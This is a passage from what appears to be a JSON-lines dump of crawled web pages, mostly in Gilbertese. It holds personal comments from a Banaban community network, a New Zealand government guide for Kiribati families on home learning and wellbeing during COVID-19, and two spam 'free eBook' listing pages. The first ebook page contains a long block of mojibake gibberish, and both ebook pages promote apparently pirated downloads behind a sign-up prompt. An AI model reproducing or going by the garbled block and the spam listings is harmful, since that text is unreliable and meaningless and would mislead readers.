ngkai Jerry? e reirei ke aki? ngaira ti bon bane ni maruru. bye looking forward to hear from you.\nhey kido mauri moa..koa bae nro2nga ngkai kerr..etau ma au ara moa am karo akana nei tabakea ma apelu..anga nei sawali ma natina boni kanne naba kee..etau ma koangania kain teauti au kamauri ao au inga nakoia..take gud care of yorr self..okk kido..bhaiii..\nMauri Marist,\nMake sure that you write your reply on Robuam's page and not on yours for the simple reason that Robuam did not get your reply because you wrote back to yourself. Click on Robuam's page or name and when his page comes up then write in his message box.","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profile\/MaristApelu?xg_source=profiles_memberList","date":"2019-11-17T18:38:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496669225.56\/warc\/CC-MAIN-20191117165616-20191117193616-00105.warc.gz","language":"gil","language_score":0.7472400665,"language_script":"Latn","minhash_cluster_size":10,"top_langs":"{\"gil_Latn_score\": 0.7472400665283203, \"pcm_Latn_score\": 0.028830528259277344, \"sps_Latn_score\": 0.0221699308604002, \"rar_Latn_score\": 0.015124279074370861, \"zne_Latn_score\": 0.012469994835555553}","num_words":425,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.247,"stopwords_ratio":0.113,"flagged_words_ratio":0.0,"lang_id_score":0.688,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"I'm sorry for hurting u the other day!! I didn't mean to hurt u but i was expressing my view. So if u can only 4-giv me and giv me one more chance to be ur friend then that will be the best gift frm u i n that i will always remenber it till the day i die.....???\nI know i'm the one who make u angry just b-ecoz of my stupidity and misunderstanding i av ruined this friendship. But if don't want to do it then its ok!!! So i will know that u'll 4-give me if u accept me on facebook again.\nmauri!! Oere an kabara te bure are ti tebo ma are ia kaona am page n au comment.\nTao ia nag kabetaa ikai ma tao ai bon au moan ao au kabane naba ni comment nte ririki aei. I rarikin anne ao ena tekeraoi naba te holiday.\nNgkai ea bane au Exam 2 day. Tao tia bobo moa.\nThanx 4 dat n do hope dat we will continue from hia.\nAnyway, am now back to scul in da west but will be in suva ti's friday due to some project which i have to do it at da samabula campus.\nso hope to hear from you soon.\nBye! n atke care!!\nLuv u.\nsorry! Bhainy?? I 4got abt my field trip ti's morning, only wen my classmates inform me of it wen i came to scul. We went to Rakiraki High Scul to do our Education Assesment for teachers (ED402). We just came back ti's afternoon almost 4pm 2day.\nSo an ka'bara riki te bure ba are kanga tia bon mamaninga.\nMa koa bon anganai am tai ae ko mawa iai.\nAkea te kanganga!! Na uota bain Lautoka but remember to take it once we arrived in suva. We will be camping in Suva grammar (Nasese). We will be leaving here on Wednesday abt 10am n arrive there noon time.\nSo katauraoiko nakon te social nite after the game. Kamatea raoi am kai ae kona kateia n te tyai arei. Ba ngaira ikai ti rei naba aron te kai n dance.\nThanx 4 da reply?? Nwys!! if u wanna know me then i suggest that u do u're research. It is written that \"seek n ye shall find\"\nSo i suggest dat u do u're part n come up wit an answer.\nHope 2 hear frm u soon.\nBye n av a nice day in sc-ool??\nE ang ngai bon kaain naba Rabi ao au kaawa bon Umarerei te matoatoa,Au family bon aikana i Fulton ao i savutaleleTamau bon Peter ao Tinau bon Nei Teaitara.What about you??\nMa te tai aei ao imena i kiribati ao iaoni kawaiu n oki.\nkoa reitia mai ikanne.\nmoce mada.\nssshhh ao bon anne ngkoe au real name Peter.....ngkana ko tuanga karetau ao e kinaai ngaia ma siti natin rakera ....... e kawa teaba ke hahahaha.....koa manga reitia ma ikanne mawan am tai...tofa ao moce!!\nngaia ngkoe itaku koa bon aki kinaai ba kam uarereke ngkekei ngke ti mena iroumi tounukao...tamam ngkoa timoteo ke??? ngkai ko reirei ia???\nne ia manga ongiora iroum ngkana e mawa am tai......tao sabo moa ao tekeraoi te reirei","id":"","dump":"CC-MAIN-2019-47","url":"http:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2t5nniyt0zlh5","date":"2019-11-21T13:31:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-47\/segments\/1573496670821.55\/warc\/CC-MAIN-20191121125509-20191121153509-00083.warc.gz","language":"gil","language_score":0.7665874362,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"gil_Latn_score\": 0.7665874361991882, \"pcm_Latn_score\": 0.043031711131334305, \"eng_Latn_score\": 0.032495394349098206, \"sps_Latn_score\": 0.02596527338027954}","num_words":530,"character_repetition_ratio":0.017,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.136,"flagged_words_ratio":0.0,"lang_id_score":0.722,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nArt\nArt\nMad, Bad & Dangerous to Know\nFunny Weather: Art in an Emergency\nYou Are an Artist\nWho Rescued Who\nBig Lies in a Small Town\nThe Great Believers\nNothing Ventured\nI Will Judge You by Your Bookshelf\nHow to Do Nothing: Resisting the Attention Economy\nApropos of Nothing\nEraser\nThe Doll Factory\nStrange Planet\nSea Prayer\nAwkward (Berrybrook Middle School, #1)\nAutumn (Seasonal, #1)\nKilling Commendatore\nStill Lives\nYear of the Monkey\nWays of Seeing\nThe Story of Art\nThe New Drawing on the Right Side of the Brain\nSteal Like an Artist: 10 Things Nobody Told You About Being Creative\nWall and Piece\nThe Artist's Way: A Spiritual Path to Higher Creativity\nGirl with a Pearl Earring\nThe Art Book\nArt and Fear: Observations on the Perils (and Rewards) of Artmaking\nConcerning the Spiritual in Art\nThe Goldfinch\nSeven Days in the Art World\nThe Letters of Vincent van Gogh\nHistory of Beauty\nUnderstanding Comics: The Invisible Art\nRecent Book\nReading Reconstruction: Sherwood Bonner and the Literature of the Post-Civil War South\nTexas Splendor\nThe War of Darkness\nPolarity #2\nGriekse mythen\nFor 100 Nights\nComfort Woman\nNever Let You Fall\nThe Iron Door Mine\nThe European Reformations\nRecent Search\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i aai i aaaaai i i i aaaaaaaaª ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae aee e ae ae ae a c ez a a ae aaae e c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaac\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae ai i aaaaµa ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae ai i aaaaµa c c eae c ez aae e ez c ez aae ae ae ai i aaaaµ ae ae a c ezza ae\na e i e i i a a y th i23 co tha e i e e i e e e e i e i i i i eaai i aaaaai i aaaaaaaaaaaaaaaaaaaai i i i c ae i i i i aaaaaaaa i i e i i e e i i i e e e i e i i e i e e e e i 2019 02 26 18 07 12e e e e i i e e i i e ni i i i e e i e i e e i keywordx keywordx\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaai i i i ai i aai i aaaaai i i i aaaaaaaa陋 ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\nae ae ae cyzae ae a c e a ae e ae ae e a z po 3 4 poo3 4 ce ae ae ae a c e ae sc ez a a ae c ae ae ae a c ae ai i aaaa a ay 2019 03 07 12 43ae ae ae cyz aij ae ae a e aae c ez aae ae ae ai i aaaa a c c eae c ez aae e ez c ez aae ae ae ai i aaaa ae ae a c ezza ae\ni e e i a e 24i a i a iz iae aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaµ i i e eaaas i i i a i i mxm33 qx488 som i i a iz i e e e i e e e ea eaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaaµ i eaaas i i i a i a iz iaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabaaaaaaaaaaaaaaaaaaaaa\na a sae ae ae a c e a a ae e azeze aaaaaaaaaaaaaaaaaaaaaai i aaai i aaaaa ae ae e a z po 3 4 poo3 4 ce ae ae ae a c ae ae c ae ezae a c c aee e cs ae ae a 2019 03 02 16 12a a sae aij ae ae a c ezae a c ez aae as c a a ae ae a ae az ae ae a c ae ae a c e ae sc ez a c ez a a sae\ne eldye sezaebaaaaaaaaa\nae aee e ae ae ae a c ez a a ae aaaaaaaaaai i ェe c a ae ae e a z m o46 moo2 7 ce ae ae ae a ae ae a c ae aaaaaaaaaai i オa a ae ae ae a c ezza csa eza 2019 04 16 06 45ae aee e ae aij ae ae a c ae aaaaaaaaaai i オa ae aea c ae ae a c ez aee e ae ezseae c ez aae aaaaaaaaaai i ェcsa c ae ae a c e a c c ae ae a c ez ae aee e ae\nBrowse by Genre\nArt\nBiography\nBusiness\nChick Lit\nChildren's\nChristian\nClassics\nComics\nContemporary\nCookbooks\nCrime\nEbooks\nFantasy\nFiction\nGay And Lesbian\nGraphic Novels\nHistorical Fiction\nHistory\nHorror\nHumor And Comedy\nManga\nMemoir\nMusic\nMystery\nNon Fiction\nParanormal\nPhilosophy\nPoetry\nPsychology\nReligion\nRomance\nScience\nScience Fiction\nSelf Help\nSuspense\nSpirituality\nSports\nThriller\nTravel\nYoung Adult\nAccount Required\nHave An Account ?\nRemember Me\nLogn In\n30 Days Trial\nFor New Account\nRegister Free Account\nRead All Our Content\nHigh Quality Books\nPremium Books\nSupport Many Device\nYes please, register now!","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/teleura.com\/genres\/art\/","date":"2020-05-26T13:34:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347390758.21\/warc\/CC-MAIN-20200526112939-20200526142939-00113.warc.gz","language":"gil","language_score":0.8197360039,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8197360038757324, \"smo_Latn_score\": 0.12276390939950943, \"iso_Latn_score\": 0.025591954588890076}","num_words":1009,"character_repetition_ratio":0.147,"word_repetition_ratio":0.332,"special_characters_ratio":0.285,"stopwords_ratio":0.457,"flagged_words_ratio":0.0,"lang_id_score":0.888,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te Katauraoi\nKateimatoa te reitaki ao te reirei\nInanon namwakaina rake aikai, ao ena iai te bitaki nakon te early learning service (ke reirei ibukia ataei ake n te pre-school) ibukin totokoan butin te COVID-19. Te kantaninga nte website aio bwa ena buokia kaaro, utu ao reirei bwa a na kona n reita reireia aia ataei man aia auti.\nE kakawaki te kakatauraoi ibukin buokaia aomata nako bwa a na kona n teimatoa n reitaki ao n waaki ma aia reirei.\nBotaki ibukin te early learning services, reirei ke taian kura, a waki ngkai n barongai babaire ibukin reitan aia reirei natimi man aia auti. Ngkana iai am titiraki ni kaineti ma ana reirei ke ana kekeiaki natim, taiaoka reitaki moa ma aia tia reirei natim.\nKo kona naba n reitaki nakon mwangan te Botaki n Reirei are tabeakina am region ke am tabo are ko mena iai.\nIbukin mwangan nako te Botaki n Reirei, nora te link aio: https:\/\/education.govt.nz\/our-work\/contact-us\/regional-ministry-contacts\nTe katauraoi nakon te reirei man te auti\nKamatata nakoia karo ma utu nako\nTe katauraoi nakon te reirei man te auti- kamatata nakoia karo ma utu nako\nKaraoan te reirei man te auti e kona n karekea te raraoma nakoim ma am utu. Maroro ma natim iaon aei kamatata bwa tera nanon aei nakoia ao kateimatoa reitakim ma ana tia reirei natim ao ana reirei. Kataia bwa ena moan bwai iroum aroia natim ao kaakeai tabeianga ake a kona n riki bwa raraoman am iango. Bon iai te kainibaire ibukin te reirei man te auti ae e na katauraoaki iroun ana tia reirei natim- ko aki kantaningaki bwa ko na onea miin te tia reirei.\nE na ibuobuoki te kainibaire aei nakoim ibukin barongaan raoi ana reirei natim man te auti. Ena ibuobuoki naba aei nakon kaungaan te reitaki imarenam ma am utu, inanon wakinan te reirei ao kaungaan te reitaki ae tamaroa inanon te kukurei.\nE kakawaki bwa ko na kawakin taian contact ke nambwa ibukin te ana early learning service natim, te reirei ke te kura are ko uakaan ma ngaia, ao n noria naba bwa e bon eti am nambwa are ko angan te tia reirei.\nNgkana iai bwaai ae koaki oota iai ke ko kainanoa riki te kamatata, taiaoka wareware n te rongorongo are e katauraoaki iaon te Wellbeing section ke Taekan Maurim. Ke bon reitaki nakon am local Citizen's Advice Bureau ao te Work and Income.\nInanon am katauraoi ibukin reirein natim man te auti:\n- taetae moa ma natim, ongora ngkana iai aia iango aron reireia ae a mwengaraoi iai ao kaekai raraoma ngkana iai mairouia\n- boraraoi ma am utu ao raoraom aron tibwatibwan tabemi\n- kinaa bwa antai ae e kakai reke te aoraki irouna\n- antai ae na bon teimatoa n mwakuri?\n- antai ae e na tiku n te auti n boutokaia ataei n aia reirei?\n- antai riki ae ko kona n karekea bwa e na ibuobuoki ma taabe tabeua?\nTe kautauraoi nakon te digital learning ke te reirei ma bwaai n reitaki\nE waki ngkai te Botaki n Reirei ni boutokaia utu nako bwa a na kona n reitaki ao n iai aia bwai n reitaki. Ti kaungako bwa ko na reitaki ma am early learning center ke am reirei n tuangia bwa:\n- iai am bwai n reitaki ibukin te reirei man te auti (digital learning)\n- iai am internet ke am data package bwa ko aonga n kona n download bwaai n reirei\n- ko bwati aron te reitaki ma am center ke am reirei ma karinanin aia services ke systems nako\n- ko bwati n kabonganai bwaai n reirei ake e na anganiko te tia reirei bwa ko na reirei iai ma natim\nNgkana iai am computer ke am bwai n reirei ae e kona n kabongana natim, aikai tabeua kamatata aron te set up ke katauraoana ibukin te reirei.\n- Maroro ma natim bwa a na ataa aron te online ae e raoiroi ibukia. Ngkana ko kainanoa te kamatata iaon aei, tarebonia Netsafe iaon 0508 638 723 ke bon kawara aia Netsafe website.\n- Tuanga natim bwa ena mwakuri nte tabo ae ko kona iai n tataraia n te aro bwa ko atai taabo ae kawarii online.\n- Kataia bwa a na aki nang kaitara raoi ma te screen nte aro ae e na rangin kaan nakoia.\nNgkana iai bwaai ae ko aki nang oota iai n aio, taiaoka reitaki ma am reirei bwa a na ataia. Ko kona naba n titirakinia kain am utu, kain rarikim ke bon raoraom ibukin aia ibuobuoki.\nNgkana iai kaaro ke utu ae ko kanamakinna bwa e na iai naba aia kanganga n aei, kaungaia naba bwa a na reitaki nakon aia center ke aia reirei.\nBoutokaan te reirei\nKamatata ibukia kaaro ma utu nako\nTe reirei man te auti\nTe reirei e waki n taai nako, n te auti ao itinanikun te auti naba. Bwaai nikabane ake ko karaoi n te auti a kaungaa aron te reirei bwaai aika a boou. Te reirei naba e wakinaki rinanon taetae aika a kakaokoro. Ngkana oin am taetae tiaki te taetae n imatang, kabongana oin am taetae ma natim.\nNgkana e bane te motirawa, ko kona ni bon waaki ma aia reirei natim ke aia learning center n boutokaia natim bwa ena wakinako aia reirei. Ko aki riai n riki bwa te tia reirei ngke. Ngke te tia ibuobuoki ae ko rang kakawaki.\nA na rereitaki ma ngke ana tia reirei natim engae ngke akea am internet (ke am bwai n reitaki).\nA teimatoa n mwakuri ngkai tia reirei bwa ena toa bain te ataei ma te kainibaire ibukin te reirei man te auti. Ko aki kantaningaki bwa ko nang raraomaeakina arom n riki bwa te tia reirei ngke. Ko kona n bon kabongana oin am taetae ma natim ngkana ko reirei ma ngaia bwaai n reirei ake e katauraoi te tia reirei n te taetae n imatang.\nE kakawaki rereitakim ma aia tia reirei natim. Ngkana ko tuai man ongo mairouia ko kona n reitaki nakoia nte reirei ni banen te motirawa ao manga teiraken te term are imwina.\nBairea raoi aron kabonganaan am space n am auti ibukin reireia natim. Ngkana e mwawa am auti e kakawaki bwa ko angania natim ake a ikawai riki aia tabo ae bon onoti ibukin aia kamatebwai ke aia reirei. Ataei ake a uarereke riki a kona n reiakinaki bwaai aika a mwaiti man karaoan aia beku ke aia mwakuri n aron ae a tataneiai iai ni katoa bong.\nBabairean te reirei man te auti\nAm auti- ea bon kaman riki bwa te tabo n reirei. Te reirei e waki ni katoa bong rinanon bwaai aika ko taneiai ni kakaraoi. Uringnga bwa te reirei e kona n rangin kaunga ke ni kakukurei ao tiaki te bwai ae kanga ko na rang kairi matoa nako iai.\nUringnga bwa e kakawaki te maroro ma natim n oin am taetae moarara riki ngkana tiaki oin newen te taetate n imatang.\nBwaai tabeua aika ko na bae ni kan iangoi ke n karaoi:\n- Karekean te kainibaire ibukin te bong teuana ma teuana. Baireia bwa tera kanoan am bong teuana ma teuana. Kabanea am tai ma natim ao baireia naba bwa tera ae kam na kaai n karaoi, ao ake ko kantaningaia bwa a na bon karaoia irouia. E na ibuobuoki aei nakon katannakoan taben temanna ma temanna.\n- Te reirei e kona n waki nte tai are angaraoi ma am utu, n irekereke naba ma bwaai riki tabeua ake kam kan karaoi.\n- Karini taian break ke motirawa ngkana ko kona, imarenan tai, nako tinaniku karekea te ang ae boou ke kakamwakuri.\n- Bwaai tabeua ae ko kona n buoka iai natim n te bong teuana ma teuana:\n- Wareware ke ongora nakon te karaki. Tai raraoma ngkana e tuai bwaati n wareware natim. Ngkana iai taeka ae e tuai bwaati n atong- tataninga ao kaungaia bwa a na katiribwarea ke ni katangimania te taeka anne, ao karabwaia ngkana a tia n karaoa aei ao manga reita aia wareware.\n- Koroboki. Korea tao te reta, te karaki, rongorongo aika ena anaaki nanon iai natim, n aron te play ke te news report- ke baikara riki are e na unga iai natim. Iango akana nte karaki aika moan te kakawaki bwa e na ota iai.\n- Kataia kaeka te kanganga - ke kaai n mwakuri ma natim ni katea te kanganga teuana ao karekea temanna bwa ena kataia ni kabwaranakoa.\n- Karaoa te bwai ae a na rang unga iai\n- Tibwai bwaai aika a nang anaaki nanom iai mangaia ao kataia karekea naba bwa tera te bwai ae a nang anaaki nanoia iai.\n- Karinia natim ni bwaai aika ko karaoi n te aut bwa a na bwaati n ibuobuoki iai n aron te kuka, te uaati, te kaitiaki.\n- Karekea ami tai n motirawa ao n takakaro.\n- Tarebonia am learning services ke am reirei ongora ngkana iai bwaai n reirei ae a tia n katauraoi ibukin buokam boutokaan te reirei man te auti- e kona aio tao te tip (reirei tabeua), iango, taian activities ke aron karekean information aika bongana nakoim.\n- Maroro ma ana tia reirei natim aron te reitaki ae e tamaroa imarenami inanon ana tai n reirei natim man te auti.\n- Kataia bwa kam na rereitaki ni katoa wiiki ni maroroakina ana kekeiaki natim. E kona aio tao n bon am auti ke n taabo ake a angaraoi nakoimi.\nBwaai n reirei man te auti\nIai bwaai n reirei aika a tauraoi online aika a na ibuobuoki nte wareware, te koroboki, te numera ao te science. Bwaai n reirei aikai a na reke iaan te early years ao school years 1 - 4, 5 - 8 ao koraki 9 - 13.\nAtaein Kauarinan ke te Senior Secondary\nKo kona n karekei kamatata ibukia natim n irekereke ma aia kekeiaki n website aikai:\n- Rongorongo ao kamatata iaon te NCEA (Information and help with NCEA) a kona n reke n te StudyIt website, n ikotaki ma taian uee tabeua ke kamwaninga ibukia ataein te NCEA.\n- Buokaia ataei aika a nang kitana te reirei ibukin karikirakean aia konabwai ke aia tarena nakon te mwakuri (School Leavers' Toolkit for Students website.\n- Te NZQA website e na katauraoi kaongora ma katanoata iaon te NCEA.\nTe Trades Academies ao te Gateway\nReitaki ma am reirei ao taetae ma te coordinator nte Trades Academy ke te Gateway. A kona n ibuobuoki aanga n kaunga ibukin te reirei man te auti. Ngkana ko kan reitaki ke e kan reitaki natim ma te Trades Academy, ko kona n karekea rongorongoia man te Gateway website. Ko kona naba karekea te education provider online.\nAlternative Education or (Aanga n Reirei tabeua) ke Activity Centres\nTaiaoka reitaki ma am reirei ni karekea riki rongorongon te reirei man te auti.\nMaurim\nMarurungia, katanakiia ao mauria natim, te roro n rikirake ao kain am utu bon moan baan te kakawaki nakoira ni kabane.\nKawakinan marurungim\nKatanakim man te kanganga e kona n reke man te tebo bai n taainako. Kauringia natim (ma aomata nako) tebokan baia imwain amwarakeia, n aia tai n kuka, imwin mwatieia ke bekobekoia, imwin oneaia ataei aika a uarereke ao imwin kabonganaan te kai n nako tinaniku. Reiakinia bwa a na anenea happy birthday uoua te tai inanon aia tai n teboka baia n te aro bwa a na ururingnga n taainako n teboki baia nakon te kuna aei.\nNgkana a bekobeko ke n mwatie aomata ao a riai n kabongana te tissue ke te toilet paper n rabuna bwairia ma wiia iai ao n tewenakoa nte maange ngkana a tia. E na ibuobuoki aei n katoka ewewen te bekobeko ke te aoraki nakon temanna riki.\nKatanakim\nKatanakim ma am utu e bon rang kakawaki. Ngkana ko kona ngke ae te ikawai ma raom riki tabeman n karekea te rau n iango n te itera aio ao natim ma kain am auti a na bon kona naba n karekea te rau mairoumi.\nE na iai kangabuaka tabeua:\nNgkana ko kainanoa buokam te mwane ibukin boon kanam ma boon am bills, ko kona n karekea rongorongon aei nte link aio: https:\/\/covid19.govt.nz\/individuals-and-households\/financial-support\/#help-with-money ke bon tarebonia 0800 559 009\nNgkana ko kainanoa te ibuobuoki nte housing, ko kona n reitaki ma te Botaki n Mwakuri ibukin Bitineti, Kakatai aika a boou ao Kammawakuri (Ministry of Business, Innovation and Employment) nte nambwa ae 0508 754 163\nNgkana e rangin kakawaki am mwakuri n te aro ae kanganga bwa ko na tiku man am mwakuri ao n kainanoa buokan tarakiia natim, ko kona n karekea rongorongon te buoka n aei nte link aio: https:\/\/education.govt.nz\/covid-19\/home-based-care-options-for-children-aged-0-14-of-essential-workers\nNgkana ko kainanoia n karekea riki rongorongon am benefits, iai kamatata aika a kona n reke nte nambwa aio: 0800559009\nNgkana iai iroum ke temanna man am utu kanikinaean te aoraki ae COVID-19, tarebonia moa am taokita (GP) ke HEALTHLINE n te nambwa 0800 358 5453\nNgkana ko aki koaua bwa antai ae ko riai n reitaki ma ngaia ibukin buokam, tarebonia te free government helpline iaon 0800 779 997. E uki te rain aei man 8am nakon 1am 7 te bong nte wiiki\nNgkana ko raraoma bwa iai ana kanganga am ataei, tarebonia Oranga Tamariki iaon 0508 326 459, e uki te rain aei 24 te aoa, 7 te bong nte wiiki\nKarekean te ibuobuoki nakoim\nTaai n tabeaianga taai aikai. E bon riai bwa ko na raraoma ke n maaku.\nInanon ami communities nako ao iai tabemi ngkami karo ma utu nako\n- Te kabanea n kakawaki bon kamanoaia natim ma am utu man te kanganga\n- Ngkana ko rabakau ngke ae te ikawai ma raom n tia kairiri inanon ami bubble (ke ami tabo are kam kariaiakaki n mwainging inanona) ni karekea te rau, a na bon kona naba n reke raun nanoia natimi ao n aki nanokokoraki ni bwaai aika a riki\n- Tibwauai am iango aika a raraoi ma ami utu ao kain am community, rongorongo ake iai iroum iaon karekean te support ke ibuobuoki n bwaai riki tabeua (n aron te tareboon, ke te online link ngkana iai iroum). Tai maku n reitaki ma am utu ngkana iai namakinan te maroaa ke ngkana iai namakinan ae koa katinanikuaki bon ti ngke n am auti\n- Kateimatoa te reitaki- rinanon te tareboon,te text, te email ke bon reitaki ma aomata itinanikun am bubble aika ko namakinia bwa iai riki kainanoan te buoka ke te ibuobuoki irouia\n- Ngkana kain ngke te Talanoa Ako Hub ao kateimatoa te reitaki ma ngaia, maroroakin arom inanon te tai aei bwa ko uara. Te programme aio are e na ibuobuoki nakoim ma am utu manga kaungaan te kamatebwai ke te reirei man te auti\n- Buokia natim ma te roronrikirake bwa a na ataia bwa te kanganga aio ena bon toki nte tai ae e riai ao ti bane ngkai n karaoa ae e tamaroa ibukin maurira\nNgkana ko taku bwa iai n am utu ae e aki nano raoi ke iai ana kanganga ke tao e kainanoa riki te buoka nakoim, reitaki ma: https:\/\/www.health.govt.nz\/our-work\/diseases-and-conditions\/covid-19-novel-coronavirus\/covid-19-novel-coronavirus-health-advice-general-public\/covid-19-wellbeing-alert-level-4 ke https:\/\/www.mentalhealth.org.nz\/get-help\/covid-19\/ ibukin karekean buokaia. Ko kona naba n tarebonia:\nHelplines\n- 1737 – te nambwa ae akea boona (free call) ngkana ko tarebonia ke kanakoa am text (am rongorongo nte mobile phone) nakon 1737 n te tai are ko kainanoa iai buokam mairoun te tia ibuobuoki (counsellor).\n- Lifeline – 0800 543 354 ke te free text 4357 (HELP)\n- Youthline – 0800 376 633 ke te free text 234\n- Samaritans – 0800 726 666\nTi bane ngkai n rinanon te kataaki. N tabetai ngkana e korakora kataakiia aomata ao a kona n rotaki nte un. A kona naba n karaoi waaki aika a kararaoma ke n kakamaku nakoia raoia ke aia utu. Iai te ibuobuoki ae e tauraoi man te facebook @LeVaPasifika ibukin kamatata tabeua, ke ko kona n karekeia aomata aika a kona n buokiko n maroro ma ngke nte link aio: https:\/\/https:\/\/www.mentalhealth.org.nz\/get-help\/covid-19\/\nKo kona n tareboni nambwa aika a oti i eta ibukin kaotaakim ke buokam.\nUringnga are ngkana ko bon marurung raoi ao n akea am kanganga, ena rang ibuobuok aei nakon am utu. Ko kaungaaki, ngkana ko konaa, bwa ko na kamwaita am tai n:\n- Motirawa\n- Bwaina te nakonako (walk) ao karaoan te kamarurung (exercise) inanon am bubble. Iai tenaan exercise aika a oti nte TV nikatoa bong n aron are mairoun Les Mills\n- Karekean te time out ke bon am tai n onoti iroum are ko tiku iai tao inanon am ruu bon ti ngke ke ko nako n walk- e na buokiko n karekea raun am iango\n- Wareware ke mataku n bwaai aika a kakan ongora\/kakamataku nakoim\n- Kauarerekea am tai n mataku nte news iaon te COVID bwa aio e kona n kamwaita riki aki raum ke am nanokokoraki ma am utu\n- Rereitaki ma natim n taainako – bwa n angiin te tai a rang korakora nte aro are a kona ni kaungako n aia manikangare, aia mwaie ke aia takakaro ao baikara riki ake a kona ni manga kakukureiko\nAtaei ma aron aia kamate bwai man te mwenga (learning at home)\nN tain te motirawa ao a mwaiti bwaai aika ko kakaraoi ma natim ke aika a bon kakaraoi i bon irouia ni kaungaa rikiraken aia kamate bwai (learning). Tiaki nanona bwa ko nang karikiko bwa aia tia reirei.\n- E kakawaki bwa ko na ira nanon te babaire n am tabo ni maeka ke am bubble are ko kantaningaki bwa ko na tiku inanona ao ni kona n otinako teutana bon inanon am bubble\n- Ngkana ko kona n otinako man am auti nako tinaniku ibukin te kakamwakuri (exercise) ke karekean te ang ae boou ao e na rang ibuobuoki aei nakoia natim ma kain am auti karekean te marurung ao te rau n nano irouia.\nAo ngkana ea manga teirake te reirei nte term ae boou, e a kaman kaweneaki te babaire man aia reirei natim ao mairouia aia tia reirei aron boutokaan aia reirei natimi. Tiaki nanona bwa ko nang bon riki bwa aia tia reirei ngke. Ko na kona n buoka kamatoan ke kaungaan riki aia reirei e ngae ngke a aki raoi nakon te tabo n reirei.\nE tauraoi ngkai te Botaki n Reirei ni kaotinakoi bwaai n reirei ake a kona n buokiko ni karaoan:\n- Te practical ke bwaai n reirei aika tenaan tip sheets, conversation starters (buokaia ataei moan katean aia kakarabakau) ao ai bon bwaai n reirei riki tabeua\n- Boutokaan tararaun te mauri- n aron kaitaaran maroro aika a kanganga, ao tabo ake ko kona n karekei iai buokam\n- Bwaai n reirei ibukia karo ao kain te utu- kamatoan te reitaki ibukin te reirei ke te kamatebwai\nN tauraoin bwaai n reirei aikai ao ko na kona n nori ikai:\nIbukia ataein te kauarinan, bon tabeia aia tia reirei ma aia taan kairiri n reitaki ma ngke ao bon natim naba iaon karaoan are imwina.","id":"","dump":"CC-MAIN-2020-24","url":"https:\/\/learningfromhome.govt.nz\/pacific-communities\/kiribati","date":"2020-06-01T08:21:17Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-24\/segments\/1590347415315.43\/warc\/CC-MAIN-20200601071242-20200601101242-00015.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":3071,"character_repetition_ratio":0.067,"word_repetition_ratio":0.003,"special_characters_ratio":0.22,"stopwords_ratio":0.311,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Toggle navigation\nFREE: eBooks and PDF Download\nGenres\nMost Read\nAccount\nHome\nPsychology\nPsychology\nOn Vanishing: Mortality, Dementia, and What It Means to Disappear\nDo Nothing: How to Break Away from Overworking, Overdoing, and Underliving\nThe Catalyst: How to Change Anyone's Mind\nThe Hot Hand: The Mystery and Science of Streaks\nThe Silent Patient\nThe Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life\nTalking to Strangers: What We Should Know About the People We Don't Know\nAtomic Habits: An Easy & Proven Way to Build Good Habits & Break Bad Ones\nMaybe You Should Talk to Someone: A Therapist, Her Therapist, and Our Lives Revealed\nHidden Valley Road: Inside the Mind of an American Family\nThe Apartment\nMake Your Bed: Little Things That Can Change Your Life...And Maybe the World\n82년생 김지영\nWhy We Sleep: Unlocking the Power of Sleep and Dreams\nHomo Deus: A History of Tomorrow\nThe Choice: Embrace the Possible\nBig Magic: Creative Living Beyond Fear\nCan't Hurt Me: Master Your Mind and Defy the Odds\n21 Lessons for the 21st Century\nThinking, Fast and Slow\nMan's Search for Meaning\nQuiet: The Power of Introverts in a World That Can't Stop Talking\nBlink: The Power of Thinking Without Thinking\nThe Power of Habit: Why We Do What We Do in Life and Business\nThe Man Who Mistook His Wife for a Hat and Other Clinical Tales\nInfluence: The Psychology of Persuasion\nPredictably Irrational: The Hidden Forces That Shape Our Decisions\nOutliers: The Story of Success\nFlow: The Psychology of Optimal Experience\nThe Tipping Point: How Little Things Can Make a Big Difference\nThe Psychopath Test: A Journey 